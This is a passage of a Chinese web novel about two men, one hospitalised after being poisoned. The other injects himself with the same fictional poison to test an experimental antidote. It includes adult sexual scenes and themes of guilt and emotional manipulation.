尧新雪抬起左手,拿起了旁边的饭盒,手腕无意似的侧翻了一下,整个饭盒里的饭就这样倾洒了下来。 宋燃犀只来得及猛地扑上去抬起手护住尧新雪,滚烫的饭菜与汤汁就在那一秒全落在了他的手背上与尧新雪的床单上。 宋燃犀因为手背上的烫伤下意识地抖了一下,他显然对烫伤依然心有余悸,但他很快就惊魂不定地转过头看向尧新雪:“烫到你了吗?” 宋燃犀的心很不安,他毫不掩饰自己的慌乱与担忧,仿佛眼前自己烫伤的手不值一提,只是上下反复打量着尧新雪,仔细留意着尧新雪是否被溅到烫到。 他当然知道尧新雪是故意的,但是他依然为此感到紧张。 尧新雪的视线自上而下地审视着宋燃犀,他显然被宋燃犀的反应取悦。他依然是病恹恹的样子,但眼睛弯起,微微抬起下颌,继续着自己带有明显恶意的恶作剧,用左手的手指指了指脏污的被单,淡淡道:“脏了。” 宋燃犀为他挡了大部分热菜热汤。 而尧新雪甚至连胸前的病服都是干净的。 可此时他就是理所当然,挑起一边眉说,宋燃犀把他弄脏了。 两人的距离很近,宋燃犀甚至能数尧新雪在这一分钟里眨眼的次数,他看到尧新雪的眼神平静,于是顺从地低下头问:“我带你去洗澡。” 尧新雪“嗯”了一声。 宋燃犀于是把他脏了的被单卷起来丢到一边。 旁边就是浴室,浴室里有一个极大的浴缸,宋燃犀先是洗干净自己的手,然后去扭开了水。 他的手被烫红一片,但是宋燃犀像是没感觉到痛似的,先将手放进水里,试了一下水温,等到水过半之后,才回去勾着尧新雪的膝盖将他抱起来。 尧新雪这样轻,宋燃犀隔着一层薄薄的皮肤,能摸得到他嶙峋的骨头,有那么几秒,他会以为自己抱着的是一副白骨。 恨也好,厌恶也罢,宋燃犀愿意接受尧新雪给他的一切。在他知道自己差点害死了尧新雪之后,他只渴望着能够让尧新雪好起来,好起来。 宋燃犀垂着眼,小心翼翼地去解着尧新雪病服的衣扣。 暖黄色的灯光下,尧新雪的皮肤苍白如同尸体,青紫色的血管若隐若现,当宋燃犀将衣服的扣子一颗颗解开,就能看到尧新雪身体上那些疤痕。 宋燃犀在过去无数次见过他的身体,他甚至清楚着尧新雪身上伤痕的来历与日期,可这一次再见,上面已经多了那么多的针眼、勒痕、淤青——全是因为治疗而来的。 宋燃犀放轻了呼吸,解开了最后一颗扣子。 尧新雪却在这一刻抓住了他的手,让他把手放在了自己的心口处。 宋燃犀能摸到他细腻如瓷的皮肤,有那么几秒,他以为自己听到了尧新雪的心跳,马上就要摸到尧新雪温热的心脏。 他知道尧新雪是什么意思。 就在十几年前,他的妈妈差点就带走了孤儿院里的尧新雪,差点就让尧新雪成为了他的替死鬼。 宋燃犀的睫毛颤抖着,他的手指颤了一下。 尧新雪看着他的反应,整个浴室里只有无尽的沉默,可尧新雪的眼神却含着愉悦。 他抓着宋燃犀的手,摸到了自己胸口上的勒痕。 他引领着宋燃犀,摸过自己身上的每一寸伤疤、针眼与淤青,仿佛这些全部都是宋燃犀造成的。越是看到宋燃犀因此痛苦、愧疚,尧新雪就越是感到愉快。 尧新雪最后抓着他的手,让他摸上自己的侧脸,慢慢道:“宋燃犀,你真可怜。” 宋燃犀笑了一下,却比哭还难看,他没有回答,只是又一次抱着尧新雪,把他抱进浴缸。 温热的水漫过尧新雪的胸口,他蓝色的长发铺在水面上,如同倒映的蓝天。 宋燃犀坐在他的身后,轻轻地为他冲洗着长发。 尧新雪懒洋洋地闭上了眼睛,也不说话,只是听着稀里哗啦的水声。 宋燃犀多揉几下,他的皮肤就泛起一片红,因为浴室里很热,尧新雪的耳朵也染上了极淡的粉色。 他的动作轻柔,熟练又体贴,给尧新雪洗完澡之后就擦干身体与头发,最后才是给尧新雪的右手上药。 当一圈又一圈的绷带缓缓落下,露出整条青紫交加、肿胀的右臂时,宋燃犀的目光又一次颤了一下。 尧新雪坐在他的面前,饶有趣味地看着他的反应。 宋燃犀却依然一言不发,只小心地给尧新雪抹药。 他熟练得像是一个护工,甚至连繁杂的过程都记得一清二楚,像是在心里、在私下演练了无数遍。 等抹好了,尧新雪就抬起头,与他对视,挑起嘴角:“难看吗?” 宋燃犀的唇抿成了一条线,他仿佛克制着什么一样,最后只摇了摇头。 尧新雪依然望着他:“说话。” 宋燃犀抬起了手,他仿佛终于忍不了了似的,伸出手,极克制、极轻地抱住了尧新雪,他低声说,声音嘶哑:“如果那天,没有掌声,没有鲜花,如果没有后来我得到过的一切。” 宋燃犀成为戛纳影帝的那一天,是他人生中最幸福的那一刻,往前往后都不再有。 可他现在却极轻地抱着尧新雪,眼泪慢慢地从眼角滑落:“如果没有这一切,我依然想,依然想遇见你。” 第108章 尧新雪微微睁大了眼睛,他有些怔地抬起头,望着宋燃犀。 宋燃犀却匆促地擦了擦自己的眼泪,然后说:“抱歉。” 他避开了尧新雪的眼睛,在上好药之后,为尧新雪的手臂缠上纱布低声道:“你永远不难看,况且我说过的,我会让你好起来的。” 尧新雪的眼睛幽深,静了一会后,他笑了一声,最后用左手扯了扯宋燃犀的衣服。 宋燃犀乖顺地低下了头,在他即将于尧新雪平视的时候,尧新雪抬起脸,仿佛某种小动物般嗅了嗅他。 尧新雪高挺的鼻梁有好几次要亲昵地擦过他的脸,可每一次都没有碰到,始终保持着一个暧昧的距离。 宋燃犀注视着他那双如酒如水的眼睛,绷紧了下颌。 几秒后,尧新雪真的如同奖励般亲吻了他。 这是由尧新雪完全主导的吻,温柔却又不失侵略性,即使是他的一时兴起。 宋燃犀感觉得到他柔软的舌舔过自己的上颚,像是要把他吞食一样,尧新雪把他当做了一份食物。 尧新雪的眼角有些红了,他忍不住低喘一声,因为宋燃犀沿着他的下腹摸了下去。 宋燃犀是知道他起了反应的。 早在浴室他为尧新雪洗澡的时候就知道了。 即使宋燃犀的抚摸不含任何情欲,但是精神与身体上双重的满足依然让尧新雪不可避免地动了欲。 而他甚至不需要勾引,只要一个表达明确的吻就好了。 为了不让尧新雪压到右手,宋燃犀空出另一只手扶住了他的窄腰。 尧新雪的脸上泛着情潮的红,因为他很久没有做这件事了,所以几乎有些招架不住似的,腰软了下去。 宋燃犀不得不提着他的腰,好让他可以依靠自己。 他低下头,无可自抑般吻着尧新雪,不断地吻着尧新雪的唇与舌,最后埋首在尧新雪的颈间深深地吸了一口。 尧新雪其实感觉得到他很饥饿,他的胃是空的,身体也是空的,他很疲惫,却又不得不依靠着身体的本能,追逐着快感本能地挺腰,将发泄欲望当成一种进食。 宋燃犀太了解他的身体了,碾磨、打圈,上下滑动,都让尧新雪感到浑身战栗的快乐。 尧新雪半睁着眼,舒服地喟叹着,原本松松垮垮搭在肩头的病号服早已因为动作松散,滑落下来,蓝色的长发滑过他的锁骨,最后垂落到宋燃犀的腿上。 尧新雪无力支撑自己,只能顺着宋燃犀跨坐道宋燃犀的腿上。他的呼吸急促,左手徒劳地勾着宋燃犀的颈,像是在水中快要溺死的人,有那么几秒,他踩在宋燃犀脚背上的双脚脚趾甚至颤抖着蜷缩。 仿佛身患了一种可怕的病症,尧新雪的身体发烫,咬住了自己的唇,发出了猫似的闷哼声。 宋燃犀放缓了一点,抬起脸慢慢地吻着他的唇,舔舐过他原本咬着的位置,哑声道:“别咬破皮了。” 他的手指生了茧,此刻不轻不重地碾着尧新雪,让尧新雪下意识地并紧了腿,然后夹住了宋燃犀的腰。 尧新雪一口咬上了他的肩膀,可因为脱力,他的咬甚至没用上多大的力气,宋燃犀只感到些许痒意。 等到他终于稍微缓一点了,宋燃犀才继续动作。 他从头到尾都像只是为了服务尧新雪才存在似的,哪怕此刻忍得青筋凸起,也依然一心想着让尧新雪舒服。 尧新雪的呼吸有些重,他的背已经因为动作蒙了一层薄汗:“宋燃犀。” “嗯。”宋燃犀一手抱着他的腰,一边回答道。 “宋燃犀。”尧新雪又叫了一声,抓着宋燃犀脖颈的手几乎要抓破他颈侧的皮。 但宋燃犀面不改色,他依然应道:“我在。” 尧新雪的手一瞬间绷紧,在几秒之后,他缓缓地松了口气,靠着宋燃犀的肩头,终于慢慢说:“发生过的事情就是发生了,你永远也改变不了。” 宋燃犀静默了一会后,淡淡地回答道:“嗯,所以我从来没有后悔过。” 尧新雪冷笑了。 宋燃犀抱着他的腰,又小心翼翼地抱着他去清理洗净了一遍,然后给他穿好了衣服。 宋燃犀把他抱回病床上,尧新雪却已经闭上了眼睛,像是不想看到他。 宋燃犀望着他的侧脸,喉咙泛起一阵酸涩。 钟鸣给出的是一个两难的选择,那时宋燃犀多么渴望着奇迹的来临,哪怕是杀了他也好,也不要让他去选择牺牲母亲或是尧新雪的一只手。 宋燃犀在那之后多么恨钟鸣,他恨偏偏来晚一步的救援,恨无能懦弱的自己——如果当时他真的拦住了钟鸣,尧新雪又怎么会是现在这个样子?他们两个又怎么会走到这一步? 他懦弱,他自私,真正要选择的时刻,当天平的左右分别是一只右手与一条性命时,宋燃犀不得不、不能免俗地选择了那“一条性命”。 可是,这桩看似很便宜的买卖,对尧新雪公平吗? 宋燃犀注视着紧闭双眼的尧新雪,最后轻声道:“晚安。” 第二天,宋燃犀也来了医院。 尧新雪装睡,假装没有听到他的脚步声,他却依然每一天都会来看望尧新雪。宋燃犀每天都会做好饭亲自带给尧新雪,看着尧新雪多多少少吃一点,然后在晚上抱着尧新雪去洗澡。 这个罪魁祸首,这个令人咬牙切齿憎恨着的罪魁祸首,仿佛强行塞自己进来一样,又一次闯入了尧新雪的生活。 又有一次尧新雪发了烧,宋燃犀盯着吊瓶打完,又坐了一整夜,确认尧新雪发烧之后才终于放心。 在第二次接吻之后,宋燃犀熟练地顺着尧新雪的颈部线条一路吻了下去。他轻轻地咬住尧新雪的喉结,然后感到尧新雪正轻轻地推着自己的肩膀。 于是宋燃犀低头继续吻了下去。 尧新雪的腰太细了,以至于宋燃犀感觉一只手就能握住。 现在的尧新雪羸弱的如同一盏残灯,风一吹,仿佛就能将这盏灯彻底吹灭,他是在做着最后的准备,纵情享乐吗?宋燃犀几乎萌生出这种害怕来。 他轻轻地舔了舔,便听到了尧新雪那满意的喟叹。尧新雪甚至将手搭在他的头发上,不着痕迹地攥着他的头发,微微往前顶。 尧新雪根本抓不痛宋燃犀,只是沉浸在快慰里,不得不仰起颈,白如纸的脸庞终于有了些许血色。 宋燃犀以前为尧新雪做过这样的事,都是为了能让他泄欲。 宋燃犀乐于看到尧新雪为此眼神迷离的样子,冷静、美丽的尧新雪竟然会有一刻的失神,那种表情让宋燃犀非常着迷。 尧新雪的呼吸太轻了,即使急促,宋燃犀却明显感觉得到,他抬起头从下往上看尧新雪,发现尧新雪抬起头,晶莹的汗珠沿着他的颈部线条滑落。 在等尧新雪痉挛着结束之后,宋燃犀兜里的手机开始了震动:“什么事?” “老大,第一批药出来了,你要来看看吗?” 宋燃犀的瞳孔一缩,迅速站了起来,安顿好尧新雪后,他拽上车钥匙跑着进了停车场。 第109章 宋燃犀猛踩油门,心中焦躁难耐,他恨不得现在就瞬移到宋氏的研究室。 每一份靶向药的研究在成功面世之前都是极为艰难的,它们诞生的过程漫长、复杂、成本高昂,耗时几乎都在十年到十五年。 宋燃犀却不惜重金与代价召集了来自各国各地的专家,只为了加快针对阿西康宁的药物研究。他竭尽所能,为了能让尧新雪…… 宋燃犀想到这里,眼睛红得几乎滴血,他烦躁不安地敲着方向盘,最后终于在等了几个红绿灯之后开到了研究室。 他的表情严肃,在更衣室换下了外套,穿上了实验服,然后一丝不苟地洗净双手,可当他走进风淋室,他在路上所有的焦虑竟然都褪了去。 他的心情已经从最开始的兴奋、期待转到了不安、忐忑,最后变成了难以言喻的平静。 宋燃犀多想就这样一次性成功,可这近一年的时间里,所咨询所求访所获得的全部经验都告诉他,这是不可能的事。 他不可避免地在那一秒想到了尧新雪,尧新雪躺在病床上,闭着眼睛,身形单薄,犹如一只垂死的天鹅。 只是想到那个人,宋燃犀就变得踌躇起来,他其实比任何人都害怕看到结果,却在内心对结果又所估量时忍不住多生出一丝期待:万一呢? 他走到了实验室里,所有人在看到他后都微微弯了弯腰,以示尊敬。 宋燃犀的声音隔着口罩更显沙哑:“看看你们的成果。” 为首的是一个老人,他带着宋燃犀走到了一个饲养笼面前,隔着透明的塑料盒,宋燃犀能看到一只浑身痉挛的小白鼠。 老人饶有趣味道:“它叫杰里,重20g,昨天刚注射0.2ml的阿西康宁。” 宋燃犀看着那只小白鼠抽搐着,不知道是联想到了什么,有些难以忍受般避开了目光。 老人从旁边拿出了一支药剂,助手抓着那只小白鼠,将它放到了实验笼里。 当药剂的液体逐渐被推进小白鼠的身体,宋燃犀亲眼看见了那只名叫“杰里”的暴躁、浑身抽搐着的小白鼠竟然就这样奇异地安定了下来。 它一反刚才痛苦癫狂的样子,如获新生般撞着实验盒,不断地动着自己的鼻尖。 宋燃犀的瞳孔颤抖,仿佛行走在沙漠中的人在濒死前看到了海市蜃楼,他几乎感到有些干渴地咽了下唾沫,努力镇静道:“我要数据。” “九十只小白鼠在注射了这支药剂之后,平均存活率高达70%,四十只食蟹猴的平均存活率则是50%。”老人诚实道,“这个数据已经过了国际标准,我认为可以推进人体实验了。” 宋燃犀注视着那只重新开始乱窜、明显活跃的小白鼠,手指收紧:“成功率太低了。” 也就刚过标准线一点点。 但是……宋燃犀回想起今早尧新雪的神态,尧新雪疲惫而憔悴,他只是喂了几勺粥,就刺激得尧新雪又一次呕吐。 尧新雪的表情痛苦,紧扣着他的左手神经质般抽搐,青筋暴起。 宋燃犀看着这一幕,仿佛有一把刀将他劈成了两半,千万只蚂蚁分食着他的心,让宋燃犀焦躁异常。 尧新雪等不了了,宋燃犀竟然在冥冥之中有了这一种预感。 宋燃犀的眉头紧皱,深吸了一口气:“自愿参与的患者有多少?” 老人思考了一下,耸耸肩:“五个……三个?” 阿西康宁在全世界都属于违禁品,所以受其影响的人其实少之又少,大部分人甚至不清楚他们身患重病的原因是这个无法医治的毒在捣鬼。 无数人因为它引起的并发症死去。 但哪怕他们知道有新药,却也依然不敢来尝试这宋氏集团开发的新药。因为这是第一批研发出来的药物,治疗作用、毒性、副作用等全部都有待估量。 参与这项药物的人体实验,是个人都知道这有着极大风险的赌注。打着“新药研发”的旗号,其本质依然是把人当成小白鼠。 被毒死不如赖活着,能熬一天是一天,因为能在新开发药物里存活下来的人少之又少,所以哪怕宋氏许下了天价的赔偿款,也很难打动别人。 甚至真正签下了生死合同的人,也未必能有百分之百的决心。 时间无声地流逝,宋燃犀在这期间能清楚地听到自己心脏跳动的声音,那有力的跳动,仿佛一个提醒,提醒他此刻还完好地活着。 而尧新雪却饱尝痛苦。 宋燃犀开口了:“背调之后真正自愿的人有多少?” 老人挑了挑眉:“……一个。” 宋燃犀将目光从那只活生生的小白鼠身上移开了目光:“好,两个样本,二十个普通志愿者,文件我会在下周一前批下来。” 老人注视着眼前这个年轻的CEO,因为经历了太多苦难,他与同龄人截然不同,他腰背挺直,眼神已经坚定得如同一块不可融化的坚冰,没有任何人能动摇他的决定。 老人的目光是这样耐人寻味,他没有询问原因,整个实验室的人都知道着宋燃犀在被绑架之后,就立刻要求整个宋氏启动针对阿西康宁制定特效药的方案。 宋燃犀毫不犹豫地动用了手里的所有资源,亲手撕下了“灵机一动才救下公司的纨绔”面具之后,终于展露了真面目——他才是宋氏集团真正的掌权人。 强权、高压、其他计划的中止、必须将所有资源全部集中在研究阿西康宁的特效药上。 宋燃犀在被绑后醒来的第一天就让全集团的人意识到,他是一条彻头彻尾的疯狗。 老人明知故问,故作讶异问道:“两个样本?不是只有一个完全自愿的人吗?” 宋燃犀冷淡道:“还有我。” 当那支针剂落在宋燃犀的眼里时,他几不可见地抖了一下,只是一晃神,这一幕就与当时和钟鸣手里握着的针剂重合。 那支阿西康宁,那支与当时一模一样的针剂,把所有人都毁了。 宋燃犀因为想起了这件往事而过度愤怒,甚至拧起了眉。 老人望着他,善意地提醒道:“我必须告诉您,我们对这第一支解药所预测的成功率是35%,也就是说,您有极大的可能在这次试验中失去您的右手。” 宋燃犀接着老人的话继续说:“我的右手会肿胀,发紫,疼痛得抬不起来,一周后我会开始反复地发烧、咳嗽。我会浑身无力,会脾气暴躁,会患上肺炎,心率不齐,会呼吸困难,然后我食欲不振,会感到反胃和恶心,即使没有吃东西,也会不由自主地干呕,呕出酸水。” 老人微微睁大了眼睛,宋燃犀却哑声道:“我都知道,我都知道,他现在就是这么痛苦……” 全是他造成的。 宋燃犀痛苦地闭上了眼,感觉到药水缓慢注入进他的身体,当同样剂量的药液注入进来时,他竟然有那么几秒感到了如释重负,仿佛这样就能感同身受到尧新雪的痛苦。 三个小时后,宋燃犀的整条右手手臂已经变得青紫肿胀。 距离第一次人体实验还有一周的时间,为了掩饰手的异样,宋燃犀戴上了手套。 就在他面无表情,准备离开那栋大楼时,那个老人站在了他的面前,若有所思道:“如果这样做,只是为了减轻自己的负罪感,然后得到对方的原谅,是很狡猾的哦。虽然你确实勇气可嘉。” 宋燃犀抬起眼,看向了老人,他沉默了许久,终于开口,声音紧绷:“不是这样的。” 林译开车,宋燃犀又一次回到了尧新雪所在的病房。 他站在门口等了好久,终于推门而入。 尧新雪听到了声音,缓缓睁开了眼睛。看到宋燃犀后,他很浅地笑了一下。 宋燃犀却坐在了他的身边。 “外面很冷吗?”尧新雪依然一眼就注意到了他手上的手套。 宋燃犀没有看他,声音却很温柔:“嗯,冷得让人怀疑要下雪了。” 尧新雪笑了笑:“打了阿西康宁会让你产生幻觉吗?” 宋燃犀的心跳仿佛在那一瞬停了,他的身体僵硬,浑身的肌肉一瞬间紧绷。 尧新雪又猜到了。 尧新雪其实什么都知道。 他做的所有,他做的一切,他心里想着的,尧新雪全都知道。 宋燃犀抬起左手,将右手的手套向上拉了一点,皮革的质感擦到他的皮肤,钻心的酥麻的痛意就这样袭来。 他缓缓转过头,冷静地看着尧新雪:“没有。” 尧新雪只挑了挑嘴角。 以他敏锐的洞察力,在看到宋燃犀夺门而出的那一刻就大概猜到了来龙去脉。 他甚至有些期待着宋燃犀回来会带回来什么成果,倒不是希望是能解救他的药,而是想看到宋燃犀会是什么样子。 而宋燃犀戴着的手套也印证了他的想法。 这让尧新雪感到快意。 宋燃犀的顺从,宋燃犀的屈服,宋燃犀的心甘情愿,都让尧新雪有了一种重新掌控他的感觉。 他终于又给这条狗套上了一条项圈,哪怕这条新的项圈以愧疚与痛苦署名。 尧新雪已经不再给宋燃犀任何东西,宋燃犀却因为着这条永恒的项圈对他不求回报、毫无保留地全部付出。 哪怕是生命。 尧新雪的眼神变得愉悦。 尧新雪抬起左手,坐起身,靠近了宋燃犀,他以一个别扭的方式靠在了宋燃犀的身上,像是完成了一个畸形的拥抱。 他的右手碰到了宋燃犀的身体,宋燃犀的眼睛颤了一下,偏过头,与他那双漂亮的眼睛对视。 “现在我们终于是一样的了。”尧新雪轻声说道。 宋燃犀的瞳孔收缩,他最后抬起左手,轻轻地抱住了尧新雪的腰。 第110章 这第一支药剂被宋燃犀取名为了“蓝尘”。 等所有文件都按流程批下来后,已经过了整整一周半的时间。 宋燃犀在过去不屑于和纨绔子弟、那些三教九流的人结交,在之后为了扮猪吃老虎有了不少“朋友”,在经历了车祸、绑架之后,他和那些所谓“朋友”的关系已经淡了很多。 如今和他还在维持着朋友关系的也就只剩下一个许弋了。 知道他自残式的注射了阿西康宁之后,许弋倒是不惊不怪。 许弋也没劝阻他,像是意料之中,只是吊儿郎当轻佻地问宋燃犀:“你写好遗书了吗?谁是你的遗产继承人?” 宋燃犀正在医院,他的神情疲惫却冷静:“写好了,你知道会是谁。” 他在这个世界上已经孑然一身了,没有人记念着他,如果他还有那么一点牵挂,那也就只剩下那一个尧新雪了。 宋燃犀对自己生命的全部寄托,对于自己的整个人生,如今已经全都系在了尧新雪身上,倘若他的生命对尧新雪仍有那么三分价值,那他会毫不犹豫地献出去。 “宋燃犀,你的故事比我拍的电影还要抓马。”许弋感慨地摇了摇头,他不再多说什么,只是敲了敲手机,爽快道,“别死了,我手上还有好几个剧本呢。” 宋燃犀一时间哑然,最后他低声道:“好。” 就这样闭上了眼睛,他被推进了实验室。 “蓝尘”之所以叫蓝尘,是因为它呈现出纯净的蓝色,犹如万丈晴空。 另一个样本——那一个完全自愿、同为阿西康宁的患者此刻带着吸氧面罩,他侧过头来看了一眼宋燃犀,然后露出了一个微笑。 宋燃犀知道他的故事。 这是一个因为阿西康宁被拖垮身体的中年男人,家庭并不算富裕。妻子为了让他能够得到治疗,早上要不辞辛劳地照顾卧病在床的他,晚上则要出去工作赚钱。 他们没有儿女,是妻子在苦苦地在支撑着这个家。 在宋氏找到他们之前,他们甚至只是住在一个县区的卫生所里。 妻子并不同意男人来参与这个实验,男人却因为着知道自己已经快要走到生命的尽头而毫不犹豫地签下了合同,因为如果他在这里死去,那么妻子就能获得一大笔违约金。 他和宋燃犀的想法不谋而合。 宋燃犀深深地看了一眼那个形销骨立的男人,最后同样闭上了眼睛。 蓝尘注射进来的时候,宋燃犀的手臂肌肉抽动了两下。 在几秒后,他感到身体像是要爆开一样,痛得让他目眦欲裂。 他在巨大的玻璃室里发出了野兽般的惨叫,如同置身于一个巨大的熔炉,堪比车祸时的痛感席卷而来,他有一种自己的皮肤将要被烧毁的错觉。 “心率120/分,气短,极度缺氧。” “血压骤降,跌破40mmHg……” “血氧饱和度88%……” “体温37.5°……37.9了!” 宋燃犀感到自己全身都浸在了冷汗里,他看到的一切仿佛都是透着万花筒去看,一切都在扭曲,一切都光怪陆离。 他听得到实验室人员冷静地报着数据,听得见机器发出警告式的滴滴声,有一股怪力像是要将他的身体强行撕成两半,但他却死死地咬着牙关,试着平缓呼吸,保持清醒,以记住现在这种感觉。 直到他彻底地昏死了过去。 宋燃犀仿佛坠落到了一个梦里,他梦回到了在出租屋里的那段时间。 他梦见了尧新雪。 他正在镜子面前刷牙,听到门外房东不耐烦的叫骂,终于打开了出租屋的门,然后他看到了长发散落,身形优雅的尧新雪。 那个尧新雪健康,漂亮,挺拔,注意到他的目光后微微笑了一下,伸出手,自我介绍道:“您好,我是尧新雪,这是我的弟弟尧新橙。” 宋燃犀依稀记得自己当时的心跳漏了一拍。 他也僵硬地伸出手,和尧新雪握了握,说道:“你好,我是宋燃犀。” 那会宋燃犀站在一条狭窄的走廊上,探出个脑袋告诉他:“如果你吵不过周桦,可以来叫我我帮你吵。” 尧新雪那时正抬高双手束起自己的长发,咬着发圈,闻声看过来,有些忍俊不禁似的:“谢谢。” 他慢条斯理地绑好长发,然后懒洋洋地补充了后半句:“虽然我觉得你并不会吵架。” 宋燃犀有些发怔,却有些恼了似的移开了目光。 烧开水后呜呜的水壶、发霉的墙角、堆满角落的乐谱与剧本、贴在门上催促交水电的报表,楼上楼下男男女女争吵的声音,暴雨落下天花板漏雨,水滴落到地上的声音。 一切,一切竟然都已经恍如隔世。 他浑身浸透了冷汗,在昏迷了两天之后,终于睁开了眼睛。 几个身穿白大褂的人拿着笔记本站在他的床边,宋燃犀抬起左手捏了捏自己的太阳穴,低声道:“做了个噩梦。” 他坐直了,冷静、有条不紊地将自己注射蓝尘之后的一切感受都说了出来,所有人都惊悚地发现,他将注射药物后的一切感受都记得清清楚楚。 末了,当几个人准备退出去时,宋燃犀忽地开口问:“那个人呢?” 那个和他同样接受了第一支蓝尘的人。 老人笑了下,没有说话,只抬起手指指了指天花板。 宋燃犀怔怔地看了很久,闭了闭眼睛后回答道:“好好补偿他的妻子。” 老人说:“知道了。” 宋燃犀只休养了半天,就准备出院。医护人员拦不住他,只能任由他去,林译则早早地备好了车。 蓝尘显然还有很大的风险,宋燃犀的右手出现了新的问题。他的皮肤开始了溃烂,溃烂的伤口开始流脓,药物的成分还需要调整。 车祸时,他相当于死了一次,钟鸣绑架时,他死了第二次。 现在是第三次。 药物的作用让宋燃犀有些浑浑噩噩,他的意识模糊,嘴唇苍白,连走路都有些踉跄。 他的体温很高,却拒绝了林译的扶助,只是踉跄地走在路上,跌跌撞撞地走进病房。 尧新雪正在看书,他看到宋燃犀,面容平和。 宋燃犀站在他面前,如同一只从雨幕里跑回主人身边,却依然失魂落魄的大狗,他缓缓地呼吸,眼睛通红:“失败了。” 明明这个结果在他的意料之内,尧新雪也表现得异常冷静。可宋燃犀在看到尧新雪的那一刻却还是感到难以接受,他低下头,浑身颤抖,无法忍受般蹭着尧新雪的手掌:“到底什么时候……什么时候才能?” 才能治好你? 尧新雪感觉到掌心的烫意与湿意,是宋燃犀又在流泪。 尧新雪感到很无奈似的,手指笼在一起,捏住了他的脸,让他抬起头看向自己。 “如果有一天我死了,你会怎么样?”尧新雪像只是好奇,他端详着失控的宋燃犀,眼底有着探究的意味。 宋燃犀的瞳孔颤了一下,他的喉结滑动:“不会有这一天。” 尧新雪用手指蹭了蹭他脸上的泪痕,仿佛在逗着宠物:“世事是无常的,你不是最清楚这一点了吗?” 宋燃犀握住了他的手指,仰着脸望着他,又重复了一遍:“你不会有这一天的。” 尧新雪弯了弯眼睛。 他把宋燃犀拉了起来,然后仰起头来和宋燃犀接吻。 宋燃犀用左手抱住他的后脑勺,不断地、强硬地加深这个吻。 在拉扯的动作里,他感到痛意,他相信,尧新雪同样痛着,但这一次宋燃犀依然没有松开手。 尧新雪攥着他的头发,享受似的抬高了颈,闭上眼,任宋燃犀扯开他的病服,露出苍白的胸口。 尧新雪褪去了所有血色,如同一张被大雨冲刷掉所有颜色的画,他那么虚弱,连呼吸都变得那么轻。 宋燃犀吻着他的颈,吻着他的锁骨,最后用左手扣着他的腰,深吸了口气。 尧新雪抖了一下,发出痛苦的闷哼。 宋燃犀的太阳穴突突地跳着,他意识到自己的疯狂,可他只能用这种方式,来证明着尧新雪的存在。只有最深的联结,才能让他清楚地感觉得到,尧新雪还在这里,尧新雪还活着。 尧新雪像那个美梦一样,仿佛只存在在记忆里。 宋燃犀太焦虑了,太害怕了,他感到撕心裂肺的痛意,像个彻底分不清幻觉与现实的人,只能用着痛苦、流血、□□这种最原始、最真切的方式来证明眼前的这一切是真的,尧新雪是真的,他们还活着。 尧新雪却像是看穿了这一切似的,纵容了宋燃犀的发疯。倒不如说,宋燃犀的反应其实也正中他的下怀。 时至今日,尧新雪似乎已经不在乎死了,他对宋燃犀依然怀有着恨意,可随着漫长病痛的折磨,这浓烈的恨竟然日渐变得稀薄起来。 尧新雪温柔地抱住了宋燃犀的颈,手指慢慢地、慢慢地勾着他的头发,打着圈。 和宋燃犀做的那个美梦一样,和当初他们第一次见面时那样。 尧新雪的眼神温柔,轻声道:“好孩子。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-114 第111章 在那之后,尧新雪就没有看到过宋燃犀。 尧新雪依然在不断寻找着医治右手的方法,却比以前懒惰了不少。 他把大部分时间都转移到了新专的制作上,即使身体很差,也依然不懈地做着。 彼时尧新雪正坐在录音室,身上披着一件外套,垂着眼睛看着歌词。 隔着一层玻璃,能看到他瘦削的身影与专注的神情。 所有人都对这一幕感到熟悉,因为他们从认识尧新雪开始,基本就没见过他不在认真工作的样子。 知道他受伤的人寥寥无几,直到尧新雪坐在轮椅上,被推着进来时,放了长假还沉浸在老板去度假幻想的工作人员才猛地醒悟过来——也许那些传言是真的,尧新雪真的被绑架了,真的受了极其严重的伤。 那件纯黑色的外套笼在尧新雪的身上,因为过瘦,他捏着歌词页的手腕骨凸出而明显, 他斜斜地依靠在椅背上,眼底有淡淡的乌青,这副柔弱的样子与过去强硬的模样形成了强烈的反差,有人蹬蹬蹬地跑上去恭敬地给他递了杯温水,刚想开口问:“新雪,你还好吗”时,就被他率先开口说的话堵住。 尧新雪的目光扫过那人的脸,露出了一个温柔的笑:“这次的编曲很糟糕,重做吧。” 那人浑身震了一下,然后很快就认命般点了点头,识相地闭嘴。 这是意料之内的事,因为对于一首曲子,尧新雪在过去不改个十几二十遍才能基本满意。他对细节的要求苛刻至此,所以所出专辑的每一首歌都才能无可挑剔。 尧新雪接过水喝了几口,然后淡淡道:“谢谢,去吧。” 他是这个团队里毫无疑问的领袖,如果不是极具信服力的才能、成绩与难以拒绝的薪资,基本没有人能忍受为尧新雪工作——因为他的要求实在是太严苛了。 薛仰春推着他,小心翼翼地避开了尖锐桌角这样的位置,看到那人灰溜溜地离开,终于笑了笑:“队长,他其实想说,可惜你给的实在是太多啦。” 尧新雪扫着手里的文件,懒懒道:“嗯。” 薛仰春原本还在幸灾乐祸,但在扫到他缠着绷带的右手后脸色又一白:“你的身体好了吗?现在就来,我听医生说……” 尧新雪随意地摆了摆手,薛仰春就下意识地闭了嘴。 “不赚钱养不起你们啊,到时候你们全跑了怎么办?”他朝录音师点了点头,最后才回答薛仰春。 薛仰春忍不住笑了,笑着笑着眼睛却又通红一片:“不会的,至少我会给你打一辈子鼓的。” 尧新雪抬起嘴角笑了笑,伸出手,薛仰春就自觉地低下头,让他摸了摸自己的脑袋。 尧新雪坐在麦的前面,在薛仰春的帮助下戴上了耳机,他缓缓呼吸,感到五脏六腑传来钻心的痛意,右手几乎已经失去知觉。 可今天也已经是他这几个月里状态最好的时候了。 即使是身受着这样的痛意,尧新雪的表情也没有任何改变,他只是脸色惨白,无声地捏皱了歌词纸。 歌词已经定稿,再次开口时,尧新雪感到了自己声音的沙哑,喉咙也尝到了甜腥的味道,他有一瞬间感到晕眩,却强行睁着眼睛定了定神。 他拿起喷雾,张开嘴喷了几下之后,在薛仰春忧虑的注视下摇了摇头。 整整六个小时,这是尧新雪有史以来第一次录这么久的音,在不断地调整、忍耐之下,他终于录到一句自己满意的唱词。 录音师的脸色凝重,想必在场的所有人里只有他明白,尧新雪嗓音的性能下降了多少。 如果对过去尧新雪的声音进行估价,恐怕全世界的人都愿意为此开出一个天价数字,可如今的尧新雪…… 录音室的目光变得极为复杂,可尧新雪却始终表情平静。 尧新雪只淡淡地吩咐道:“今天就到这里吧。” 其他人都点了点头,薛仰春慢慢地把他推了出去。 